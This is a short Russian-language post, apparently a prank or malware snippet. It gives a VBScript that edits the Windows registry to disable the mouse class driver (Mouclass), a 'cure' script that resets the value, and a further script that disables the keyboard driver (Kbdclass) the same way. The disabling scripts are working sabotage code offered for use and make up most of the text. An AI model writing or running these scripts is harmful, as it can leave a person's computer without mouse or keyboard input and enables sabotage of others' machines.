Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
s.regwrite"HKLM\SYSTEM\CurrentControlSet\Services\Mouclass\Start","4","REG_DWORD"
Скрипт редактирует информацию в реестре, отвечающую за работу мышки.

Лекарство:
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
s.regwrite"HKLM\SYSTEM\CurrentControlSet\Services\Mouclass\Start","0","REG_DWORD"

Да и кстати таким же образом можно также отключить клавиатуру, вот пример:

Set keyboard = CreateObject("Wscript.Shell")
keyboard.regwrite"HKLM\SYSTEM\CurrentControlSet\Services\Kbdclass\Start","4","REG_DWORD"